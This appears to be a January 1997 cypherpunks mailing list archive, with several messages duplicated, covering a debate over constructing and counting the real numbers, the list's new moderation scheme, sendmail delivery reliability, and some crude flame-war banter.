comment should probably have gotten the post sorted to the flam
list.  Oh well, I'll get up to speed pretty soon, I hope.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 20:38:54 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: [STEGO] Sphere packings
In-Reply-To: <32E2D857.34EC@gte.net>
Message-ID: <199701200433.WAA00474@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i have all of them archived.

igor

Dale Thorn wrote:
> 
> Huge Cajones Remailer wrote:
> 
> I haven't saved any of these posts, and after all this time, it
> occurs to me that a complete collection of the caricatures, doable
> on a standard keyboard, would make a nice children's playbook.
> 
> Has anyone thought of this?
> 
> > Tim C. May will.....
> >          \|/
> >         (*,*) Tim C. May
> >        _m_-_m_
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 20:27:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise] (fwd)
Message-ID: <199701200434.WAA01500@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Yes, the Reals can be constructed from the Rationals.  No, the
> Reals are not a subset of the Rationals.

An arbitrary Real can be constructed from the Rationals. If we accept the
proposition, as posed apparently by you and others, of uncountable Reals then
your 'assumption' fails, otherwise the 'uncountable' members would be
countable.

> Er, no.  But you can create a number which is not representable
> as a fraction as a limit point of very many fractions.

A 'limit point' is not the same as 'equal to'. Arbitrarily close is not
equivalent, inherent in the definition of a limit point is the concept of
'little o' and 'big o', or worded differently our axiomatic definition of
infinity.

> If we then consider equivalence classes of those Cauchy sequences
> which converge to the same limit, and consider an element of the
> original set to correspond to the class containing the sequence
> all of whose members are that element, we can consider the
> classes to form a "completion" of the original set by addition of
> all its limit points.

We can, but there is no fundamental rule in mathematics that requires me to
ignore the small but distinct difference between the element in the original
set and the sequences used to approximate it. It is something that must be
agreed upon by accepting a particular axiomatic definition of infinity.

> Dedekind Cuts are a simple abstraction, often used to construct
> the Reals from the Rationals in undergraduate calculus courses.
> Conceptually, one makes a single "cut" in the set of Rationals,
> dividing it into two parts, all of the members of one part being
> greater than all of the members of the other.  The number of ways
> of doing this correspond to the Reals.

The number of cuts are 1-to-1 with the Reals, they are not the Reals.
There is no way I can make a cut which is 3.1527, only 1-to-1 with the
number(s). Important distinction.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com


"The best lack all conviction, while the worst are full of passionate
 intensity."

                                                     Yeats




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 20:56:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise] (fwd)
Message-ID: <199701200456.UAA00404@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Yes, the Reals can be constructed from the Rationals.  No, the
> Reals are not a subset of the Rationals.

An arbitrary Real can be constructed from the Rationals. If we accept the
proposition, as posed apparently by you and others, of uncountable Reals then
your 'assumption' fails, otherwise the 'uncountable' members would be
countable.

> Er, no.  But you can create a number which is not representable
> as a fraction as a limit point of very many fractions.

A 'limit point' is not the same as 'equal to'. Arbitrarily close is not
equivalent, inherent in the definition of a limit point is the concept of
'little o' and 'big o', or worded differently our axiomatic definition of
infinity.

> If we then consider equivalence classes of those Cauchy sequences
> which converge to the same limit, and consider an element of the
> original set to correspond to the class containing the sequence
> all of whose members are that element, we can consider the
> classes to form a "completion" of the original set by addition of
> all its limit points.

We can, but there is no fundamental rule in mathematics that requires me to
ignore the small but distinct difference between the element in the original
set and the sequences used to approximate it. It is something that must be
agreed upon by accepting a particular axiomatic definition of infinity.

> Dedekind Cuts are a simple abstraction, often used to construct
> the Reals from the Rationals in undergraduate calculus courses.
> Conceptually, one makes a single "cut" in the set of Rationals,
> dividing it into two parts, all of the members of one part being
> greater than all of the members of the other.  The number of ways
> of doing this correspond to the Reals.

The number of cuts are 1-to-1 with the Reals, they are not the Reals.
There is no way I can make a cut which is 3.1527, only 1-to-1 with the
number(s). Important distinction.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com


"The best lack all conviction, while the worst are full of passionate
 intensity."

                                                     Yeats





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 19 Jan 1997 22:36:50 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck
Message-ID: <199701200636.WAA21133@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 19 Jan 97 at 17:37, Dale Thorn wrote:

> Somebody correct me if I'm wrong.  We already get the censored stuff
> on the alleged-to-be "unedited" list, so by looking at the censored
> list only, we can do the subtraction more reliably than Sandfort.
> 
> Just the censored list is needed, not the cut-out stuff, as far as I
> know.

I disagree.  Or I don't quite understand what you are saying.  I
want to see the moderated list and I want to see what was removed.

So since I was automatically given the Moderated List, I just put in 
a subscription, under a different address, so I can easily see what was 
removed.  Of the three lists that now exist: unedited, edited, and 
removed posts, I would chose to remove the unedited version so that I 
can keep my eye on what the moderators decide I should not see.  That 
gives me an insight into what they think.  

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Wright <rwright@adnetsol.com>
Date: Mon, 20 Jan 1997 08:11:51 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck
Message-ID: <199701201611.IAA12370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 19 Jan 97 at 17:37, Dale Thorn wrote:

> Somebody correct me if I'm wrong.  We already get the censored stuff
> on the alleged-to-be "unedited" list, so by looking at the censored
> list only, we can do the subtraction more reliably than Sandfort.
> 
> Just the censored list is needed, not the cut-out stuff, as far as I
> know.

I disagree.  Or I don't quite understand what you are saying.  I
want to see the moderated list and I want to see what was removed.

So since I was automatically given the Moderated List, I just put in 
a subscription, under a different address, so I can easily see what was 
removed.  Of the three lists that now exist: unedited, edited, and 
removed posts, I would chose to remove the unedited version so that I 
can keep my eye on what the moderators decide I should not see.  That 
gives me an insight into what they think.  

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 19 Jan 1997 21:48:18 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Dedikend Cut's and such
In-Reply-To: <199701200008.SAA00943@einstein>
Message-ID: <199701200650.WAA07301@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
> 
> Hi,
> 
> Did a little research, Dedekind Cut's and such use Integers to define a
> SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
> set of Reals.

They do.  The set of all numbers representable by a DC is precisely 
the set of reals.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 19 Jan 1997 22:10:45 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Dedikend Cut's and such
Message-ID: <199701200610.WAA01640@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
> 
> Hi,
> 
> Did a little research, Dedekind Cut's and such use Integers to define a
> SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
> set of Reals.

They do.  The set of all numbers representable by a DC is precisely 
the set of reals.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Elliott <paul.elliott@hrnowl.lonestar.org>
Date: Sun, 19 Jan 1997 16:45:02 -0800 (PST)
To: cypherpunks@toad.com (cypherpunks mailing list)
Subject: Re: Numbers we cannot talk about
In-Reply-To: <"Anonymous"@Jan>
Message-ID: <32e2a55c.flight@flight.hrnowl.lonestar.org>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

> 
> At 10:48 PM 1/18/1997, Secret Squirrel wrote:
> >Is it REALLY true that there are real numbers that cannot be
> >generated by any algorithm? Some guy said that since the set of
> >algorithms is countable, but the set of real numbers is more than
> >countable, there must be some numbers for which there is no
> >algorithms that generate them.
> 
> There are sets of real numbers whose existence we can prove, but which
> we cannot otherwise describe.  This is more extreme than being
> "generated by an algorithm".  We can't even tell somebody which
> numbers to generate!  (I take "to generate" here to mean "to compute a
> decimal approximation.")
> 
> The set of real numbers is uncountable as is the set of subsets of the
> real numbers.  Yet, we have only countably infinite ways to describe
> sets of numbers.
> 
> All sets of numbers which we can describe can be described with a
> finite set of symbols.  (Human beings are unable to distinguish
> between an infinite number of states.)  The set of combinations of
> this finite set is infinite, but countable.
> 

Perhaps the axioms in set theory that tells us that the integers
have an uncountable number of subsets is, in point of fact, false.
Perhaps only those subsets of the integers that can be described
by an algorithm exist (actually, contrary to what the usual axioms of
set theory assert).

We know that the set of axioms which tell us that there are unaccountably
many reals can be satisfied by a countable model!
(Downward Louwenheim Skolem Tarski theorem.)

I know that Standard mathematical axioms yields lots of interesting
results, but when it talks of the infinite and we are dealing
with a practical subject like cryptography or even physics it
should not be taken too seriously. (With respect to uncountable sets.)

- -- 
Paul Elliott                                  Telephone: 1-713-781-4543
Paul.Elliott@hrnowl.lonestar.org              Address:   3987 South Gessner #224
                                              Houston Texas 77063

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Sun, 19 Jan 1997 20:50:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Don't send this to the moderated list...
Message-ID: <3.0.32.19970119225041.0069931c@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


Send this message to cp-flames and cp-unedited, not to
the moderated list.  Not only is is devoid of crypto
content, but it'll allow me to verify that I've
been subscrived :) to the appropriate list (also
to see if the headers are changed to the point
where I have to modify my filters, etc.)

dave

----- David E. Smith, P O Box 324, Cape Girardeau MO USA 63702
dsmith@prairienet.org        http://www.prairienet.org/~dsmith
send mail with subject of "send pgp-key" for my PGP public key
" . . . but I'm an AMERICAN criminal lunatic!"  ---  The Joker





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 21:19:05 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <32E2D346.1370@gte.net>
Message-ID: <199701200515.XAA00924@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> AIDAS wrote:
> > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > > > > > spam, the "you're all homosexuals" postings, the posts by morons that
> > > > > > can't figure out Majordomo or their mailers, and so on and so forth.
> 
> > > > > Not sure about "all", but someone whose name sounds like AIDS, and who
> > > > > advocates censorship, most likely is one.[snip]
> > Ah, very strong response indeed. I feel as if shot down in flames,
> > and my mind aches from the slice of your wit. Deliver us, oh Vulis,
> > for we are in need!
> 
> It still looks like Sandy to me.  Writing style for one, unwillingness
> to drop an argument for two, and the use of the name AIDAS is *very*
> suspicious.

But Sandy gave his word publicly that he was not AIDAS!

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 19 Jan 1997 22:11:06 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <199701200611.WAA01692@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> AIDAS wrote:
> > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > > > > > spam, the "you're all homosexuals" postings, the posts by morons that
> > > > > > can't figure out Majordomo or their mailers, and so on and so forth.
> 
> > > > > Not sure about "all", but someone whose name sounds like AIDS, and who
> > > > > advocates censorship, most likely is one.[snip]
> > Ah, very strong response indeed. I feel as if shot down in flames,
> > and my mind aches from the slice of your wit. Deliver us, oh Vulis,
> > for we are in need!
> 
> It still looks like Sandy to me.  Writing style for one, unwillingness
> to drop an argument for two, and the use of the name AIDAS is *very*
> suspicious.

But Sandy gave his word publicly that he was not AIDAS!

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 19 Jan 1997 23:30:13 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
In-Reply-To: <199701162142.VAA06080@server.test.net>
Message-ID: <32E31D35.52B9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:

> Dimitri is an intelligent guy, and has a high level of crypto
> expertise (he has a PhD on a cryptography topic).  It is my belief
> that his posts can only be understood in a "meta" sense -- he is
> engaged in a highly complex cryptographic experiment.  People who read
> and respond to his individual posts are the unwitting subjects in his
> experiments.  His posts and the responses to them are actually the
> data-set for a thorough cryptanalysis of mailing list threats.

  Your post gives food for thought...much more so than the one in 
which I proposed my "No, he's just an asshole." theory.
  BTW, the results of my poll regarding this theory were:

"Is Too"  --  4%
"Is Not"  --  3%
"Hey, leave me out of this--'they' may be watching!"  --  9%
"Make Big $$Money$$ Licking Your Own Dick!!!"         -- 74%
"Unscribirbe"  --  10%

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 19 Jan 1997 23:35:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701200456.UAA00404@toad.com>
Message-ID: <199701200735.XAA17096@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > An arbitrary Real can be constructed from the Rationals. If
 > we accept the proposition, as posed apparently by you and
 > others, of uncountable Reals then your 'assumption' fails,
 > otherwise the 'uncountable' members would be countable.

We can construct the Reals from the Rationals without having to
speak of each specific Real while doing so.  A formal system,
having only a countable number of strings of symbols from its
alphabet, can speak of "The Real Numbers" even though it cannot
speak of "The Real Number X" for every single X in the Reals.

 > A 'limit point' is not the same as 'equal to'. Arbitrarily
 > close is not equivalent, inherent in the definition of a
 > limit point is the concept of 'little o' and 'big o', or
 > worded differently our axiomatic definition of infinity.

In standard analysis, the limit of a sequence A[n] is a value x
such that given any positive epsilon, no matter how small, we can
find a point in the sequence such that all its members after that
point are within epsilon of x.

Such a limit, if it exists, is unique and exactly defined.

"Little o" and "big o" are concepts from complexity theory and I
am not precisely sure why you feel they need to be mentioned.

 > I can, but there is no fundamental rule in mathematics
 > that requires me to ignore the small but distinct
 > difference between the element in the original set and the
 > sequences used to approximate it.

In the general case, the limit point will not be a member of the
sequence which approximates it.  Although every member of the
sequence is a finite distance away from the limit, the limit
itself is, as I previously mentioned, exactly known without any
ambiguity.

 > It is something that must be agreed upon by accepting a
 > particular axiomatic definition of infinity.

An "infinity" is simply the property of being able to be put in
1-1 correspondence with a proper subset of oneself.

 > The number of cuts are 1-to-1 with the Reals, they are not
 > the Reals. There is no way I can make a cut which is
 > 3.1527, only 1-to-1 with the number(s). Important
 > distinction.

Mathematical objects are sets with structure.  We generally
consider two mathematical objects equivalent if there exists a
1-1 correspondence between the respective sets which is structure
preserving. What the actual members of the set are, and how they
were constructed, is usually unimportant.  For all practical
purposes we may refer to any mathematical object isomorphic to
the Reals as "The Reals", without any confusion.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Mon, 20 Jan 1997 08:15:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201615.IAA12481@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > An arbitrary Real can be constructed from the Rationals. If
 > we accept the proposition, as posed apparently by you and
 > others, of uncountable Reals then your 'assumption' fails,
 > otherwise the 'uncountable' members would be countable.

We can construct the Reals from the Rationals without having to
speak of each specific Real while doing so.  A formal system,
having only a countable number of strings of symbols from its
alphabet, can speak of "The Real Numbers" even though it cannot
speak of "The Real Number X" for every single X in the Reals.

 > A 'limit point' is not the same as 'equal to'. Arbitrarily
 > close is not equivalent, inherent in the definition of a
 > limit point is the concept of 'little o' and 'big o', or
 > worded differently our axiomatic definition of infinity.

In standard analysis, the limit of a sequence A[n] is a value x
such that given any positive epsilon, no matter how small, we can
find a point in the sequence such that all its members after that
point are within epsilon of x.

Such a limit, if it exists, is unique and exactly defined.

"Little o" and "big o" are concepts from complexity theory and I
am not precisely sure why you feel they need to be mentioned.

 > I can, but there is no fundamental rule in mathematics
 > that requires me to ignore the small but distinct
 > difference between the element in the original set and the
 > sequences used to approximate it.

In the general case, the limit point will not be a member of the
sequence which approximates it.  Although every member of the
sequence is a finite distance away from the limit, the limit
itself is, as I previously mentioned, exactly known without any
ambiguity.

 > It is something that must be agreed upon by accepting a
 > particular axiomatic definition of infinity.

An "infinity" is simply the property of being able to be put in
1-1 correspondence with a proper subset of oneself.

 > The number of cuts are 1-to-1 with the Reals, they are not
 > the Reals. There is no way I can make a cut which is
 > 3.1527, only 1-to-1 with the number(s). Important
 > distinction.

Mathematical objects are sets with structure.  We generally
consider two mathematical objects equivalent if there exists a
1-1 correspondence between the respective sets which is structure
preserving. What the actual members of the set are, and how they
were constructed, is usually unimportant.  For all practical
purposes we may refer to any mathematical object isomorphic to
the Reals as "The Reals", without any confusion.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 19 Jan 1997 23:36:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701200457.UAA00416@toad.com>
Message-ID: <199701200736.XAA17188@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > In short you are saying there are Reals which can not be
 > expressed in the format:

 >  AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

 > where m and n -> infinity. Another way of saying this is
 > that there are Reals for which membership in a set of Reals,
 > because they are uncountable and therefore unrepresentable,
 > is not possible. From a set perspective this means,

Again, we may speak of a representation for the Reals within a
formal system, although we may not speak of "The Representation
of X" for every single Real X.

We cannot assign to every Real a finite representation, but we
can talk about the infinite representation all Reals have within
a formal system without running out of space.

The inability of a formal system to talk about each Real
individually, or equivalently, that there are Real numbers which
are not finitely denumerable, does not mean that there are Reals
which do not have an representation as a non-ending sequence of
symbols.

 > R = [[-infinity, ..., m] [n, ..., 0] [0, ..., p] [q, ..., +infinity]]

 > such that there are uncountable numbers between m,n or p,q; etc.

Infinity does not have a predecessor, so it makes no sense to
count back from it a finite number of steps.

 > Clearly in contradiction with the base axioms of
 > mathematics as described by Euclid in defining a line.

This point completely escapes me.

 > And I contend that ANY number which is Real can be
 > expressed by the decimal expansion above. Which clearly
 > qualifies as a formal system.

Useful formal systems employ finite strings from some alphabet.
The set of all possible such strings is countable.  The set of
all sequences from the same alphabet is uncountable, but not
particularly useful for theorem-proving, at least in a finite
amount of time.

 > To say there are Reals for which there is no linear
 > representation is the same as saying there are lengths which
 > can't be measured. Now since a line is nothing but a set of
 > points, which don't have size, but only position this
 > obviously holds no water, unless you are saying it is not
 > possible to place two points arbitrarily close together,
 > which would imply that points have some sort of width,
 > clearly against the definition of a point.

No.  Points do not have width.

 > This all goes back to what I said in a earlier post, the
 > problem comes from our axiomatic (ie taken on faith,
 > unprovable) use of infinity. Without a clear and precise
 > dilineation of those axioms prior to the proof such
 > conclusions are worthless.

In Axiomatic Set Theory, it is necessary to postulate (either
implicitly or explicitly) the existance of one infinite set. This
is an act of faith.  Whether any infinities really exist is a
matter for philosophy.

 > Several of you have said "infinity is not a number", this
 > is an axiom. Change the axioms and the whole structure
 > changes. I am simply saying that perhaps we should look at
 > the "infinity is not a number" axiom, much as geometers look
 > at Euclids Fifth Postulate. There is nothing inherent in
 > nature that prefers one axiomatic expression of infinity
 > over the other.

If one constructs the Ordinals, which are isomorphism classes of
well-ordered sets, and the Cardinals, which are equivalence
classes of equipotent sets, one will automatically end up with
all sorts of transfinite numbers.  We normally don't include
infinities when we build the rationals, the reals, or the complex
numbers, unless we need them for a particular application, such
as in using the extended real number line in defining measures.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Mon, 20 Jan 1997 08:12:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201612.IAA12442@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > In short you are saying there are Reals which can not be
 > expressed in the format:

 >  AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

 > where m and n -> infinity. Another way of saying this is
 > that there are Reals for which membership in a set of Reals,
 > because they are uncountable and therefore unrepresentable,
 > is not possible. From a set perspective this means,

Again, we may speak of a representation for the Reals within a
formal system, although we may not speak of "The Representation
of X" for every single Real X.

We cannot assign to every Real a finite representation, but we
can talk about the infinite representation all Reals have within
a formal system without running out of space.

The inability of a formal system to talk about each Real
individually, or equivalently, that there are Real numbers which
are not finitely denumerable, does not mean that there are Reals
which do not have an representation as a non-ending sequence of
symbols.

 > R = [[-infinity, ..., m] [n, ..., 0] [0, ..., p] [q, ..., +infinity]]

 > such that there are uncountable numbers between m,n or p,q; etc.

Infinity does not have a predecessor, so it makes no sense to
count back from it a finite number of steps.

 > Clearly in contradiction with the base axioms of
 > mathematics as described by Euclid in defining a line.

This point completely escapes me.

 > And I contend that ANY number which is Real can be
 > expressed by the decimal expansion above. Which clearly
 > qualifies as a formal system.

Useful formal systems employ finite strings from some alphabet.
The set of all possible such strings is countable.  The set of
all sequences from the same alphabet is uncountable, but not
particularly useful for theorem-proving, at least in a finite
amount of time.

 > To say there are Reals for which there is no linear
 > representation is the same as saying there are lengths which
 > can't be measured. Now since a line is nothing but a set of
 > points, which don't have size, but only position this
 > obviously holds no water, unless you are saying it is not
 > possible to place two points arbitrarily close together,
 > which would imply that points have some sort of width,
 > clearly against the definition of a point.

No.  Points do not have width.

 > This all goes back to what I said in a earlier post, the
 > problem comes from our axiomatic (ie taken on faith,
 > unprovable) use of infinity. Without a clear and precise
 > dilineation of those axioms prior to the proof such
 > conclusions are worthless.

In Axiomatic Set Theory, it is necessary to postulate (either
implicitly or explicitly) the existance of one infinite set. This
is an act of faith.  Whether any infinities really exist is a
matter for philosophy.

 > Several of you have said "infinity is not a number", this
 > is an axiom. Change the axioms and the whole structure
 > changes. I am simply saying that perhaps we should look at
 > the "infinity is not a number" axiom, much as geometers look
 > at Euclids Fifth Postulate. There is nothing inherent in
 > nature that prefers one axiomatic expression of infinity
 > over the other.

If one constructs the Ordinals, which are isomorphism classes of
well-ordered sets, and the Cardinals, which are equivalence
classes of equipotent sets, one will automatically end up with
all sorts of transfinite numbers.  We normally don't include
infinities when we build the rationals, the reals, or the complex
numbers, unless we need them for a particular application, such
as in using the extended real number line in defining measures.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 19 Jan 1997 21:18:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <199701200518.VAA12162@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:

> I hope if such a system is set up, people who use it will realize that
> email is not 100% reliable.  Just because algebra.com sent mail to
> toad.com, doesn't mean that toad.com actually received it.  A small
> fraction of a percent of these messages will be lost.

Failing something catastrophic like a disk failure or a host down for
more than a week, this should not be the case.  Almost every site
running sendmail has the Os ("SuperSafe") option set.  That means
sendmail will not respond to a "." at the end of a DATA command with
SMTP code 250 until it has written the incoming message (and queue
info) to disk and called fsync.  Thus, you may get 2 copies of a
message, but mail messages should not just disappear regularly at all,
even if the network goes down or a machine crashes.

Non-sendmail MTA's tend to be even more strict about this, not even
allowing this behavior to be disabled.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WinSock Remailer <winsock@rigel.cyberpass.net>
Date: Sun, 19 Jan 1997 22:12:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and the Doc
Message-ID: <199701200612.WAA01713@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:

> I hope if such a system is set up, people who use it will realize that
> email is not 100% reliable.  Just because algebra.com sent mail to
> toad.com, doesn't mean that toad.com actually received it.  A small
> fraction of a percent of these messages will be lost.

Failing something catastrophic like a disk failure or a host down for
more than a week, this should not be the case.  Almost every site
running sendmail has the Os ("SuperSafe") option set.  That means
sendmail will not respond to a "." at the end of a DATA command with
SMTP code 250 until it has written the incoming message (and queue
info) to disk and called fsync.  Thus, you may get 2 copies of a
message, but mail messages should not just disappear regularly at all,
even if the network goes down or a machine crashes.

Non-sendmail MTA's tend to be even more strict about this, not even
allowing this behavior to be disabled.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 19 Jan 1997 21:24:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 'Monster' numbers
Message-ID: <199701200524.VAA12384@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



At 5:08 PM 1/19/1997, Jim Choate wrote:
>In reference to numbers which you can't describe, if you examine the work
>they are ALL in the Complex domain, none of them are Real's.

This is incorrect.  The argument outlined applied to real numbers
only.  If you wish to refute the argument please do so.  You might
find it helpful to review the reference in Smullyan's book.

>If there existed a Real for which we could not describe this would imply
>that we could not draw a line of that length.

The subtlety of the idea lies in the fact that you can't make a
statement like "$foo is not describable" where $foo means anything.
Any number for which you can say, "I can draw a line which is $bar
units long" is describable.

Math Man





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WinSock Remailer <winsock@rigel.cyberpass.net>
Date: Sun, 19 Jan 1997 22:11:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 'Monster' numbers
Message-ID: <199701200611.WAA01691@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



At 5:08 PM 1/19/1997, Jim Choate wrote:
>In reference to numbers which you can't describe, if you examine the work
>they are ALL in the Complex domain, none of them are Real's.

This is incorrect.  The argument outlined applied to real numbers
only.  If you wish to refute the argument please do so.  You might
find it helpful to review the reference in Smullyan's book.

>If there existed a Real for which we could not describe this would imply
>that we could not draw a line of that length.

The subtlety of the idea lies in the fact that you can't make a
statement like "$foo is not describable" where $foo means anything.
Any number for which you can say, "I can draw a line which is $bar
units long" is describable.

Math Man






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 22:49:35 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701200457.UAA00416@toad.com>
Message-ID: <199701200640.AAA01502@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> Forwarded message:
> 
> > Only countably many real numbers, or members of any uncountable
> > set, are denumerable. It is the property of being uncountable,
> > rather than of being real or complex, which is important here.
> 
> In short you are saying there are Reals which can not be expressed in the
> format:
> 
>      AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

All reals are equivalent to sequences of digits, but there are reals such 
that there is no algorithm to generate their digits.

It happens because there are "more" real numbers than algorithms.

> > In general, only countably many members of any uncountable set
> > can be precisely specified within any formal system, given names
> > comprised of strings of symbols, or other similar things.
> 
> And I contend that ANY number which is Real can be expressed by the decimal
